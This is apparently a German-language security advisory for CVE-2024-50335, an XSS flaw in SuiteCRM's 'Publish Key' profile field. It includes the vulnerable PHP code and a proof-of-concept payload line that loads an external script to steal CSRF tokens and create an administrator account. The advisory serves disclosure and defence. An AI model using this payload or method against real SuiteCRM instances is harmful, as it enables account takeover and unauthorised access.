CVE-2024-50335: Authentifiziertes XSS im „Publish Key“-Feld ermöglicht unbefugte Erstellung von Administrator-Benutzern

Zusammenfassung

Das „Publish Key“-Feld auf der Seite „Profil bearbeiten“ in SuiteCRM ist anfällig für Reflektiertes Cross-Site Scripting (XSS), wodurch ein Angreifer schädlichen JavaScript-Code einschleusen kann. Dies kann ausgenutzt werden, um CSRF-Token zu stehlen und unbefugte Aktionen durchzuführen, wie etwa das Erstellen neuer administrativer Benutzer ohne ordnungsgemäße Authentifizierung.

Details

Die Schwachstelle entsteht durch unzureichende Eingabevalidierung und -bereinigung des Publish Key-Feldes in der SuiteCRM-Anwendung. Wenn ein Angreifer ein bösartiges Skript einschleust, wird es im Kontext der Sitzung eines authentifizierten Benutzers ausgeführt. Das injizierte Skript (o.js) nutzt dann das erbeutete CSRF-Token, um Anfragen zu fälschen, die neue administrative Benutzer erstellen, wodurch die Integrität und Sicherheit der CRM-Instanz beeinträchtigt wird.

Auswirkungen

Diese Schwachstelle ist ein kritisches Cross-Site Scripting (XSS)-Problem. Ihre Auswirkungen umfassen:

1. Unbefugter administrativer Zugriff: Ein Angreifer kann neue administrative Benutzer erstellen und möglicherweise die vollständige Kontrolle über die CRM-Instanz erlangen.
2. CSRF-Token-Diebstahl: Ermöglicht die Durchführung unbefugter Aktionen im Namen authentifizierter Benutzer.
3. Kompromittierung der Datenintegrität: Die Möglichkeit, Benutzerkonten und Einstellungen zu manipulieren, kann zu Datenverlust, Datenlecks oder unbefugten Änderungen führen.

Anfälliger PHP-Quellcode

$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);

$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";

$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";

$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);

PoC

1. Melden Sie sich mit gültigen Administrator-Anmeldeinformationen bei SuiteCRM an.
2. Navigieren Sie zu „Profil bearbeiten“: Rufen Sie die Seite „Profil bearbeiten“ des Administrator-Kontos auf.
3. In das Feld „Publish Key“ unter dem Tab „Erweitert“ fügen Sie das folgende Skript ein:

<script src=//localhost:1235/o.js>

4. Stellen Sie sicher, dass o.js auf einem Server unter localhost auf Port 1235 gehostet wird und den Exploit-Code wie im bereitgestellten JavaScript-Code-Ausschnitt beschrieben bereitstellt.
5. Speichern Sie die Änderungen am Administrator-Profil.
6. Beim erneuten Laden der SuiteCRM-Seite wird das bösartige o.js-Skript ausgeführt, stiehlt das CSRF-Token und verwendet es, um einen neuen administrativen Benutzer mit folgenden Anmeldedaten zu erstellen.

Username - imposter
Password - ok

7. Melden Sie sich mit den Anmeldedaten des neu erstellten administrativen Benutzers an, um die erfolgreiche Ausnutzung zu überprüfen.

https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197

Referenz

• https://nvd.nist.gov/vuln/detail/CVE-2024-50335
• https://github.com/salesagility/SuiteCRM/security/advisories/GHSA-8rw6-g96j-3w7m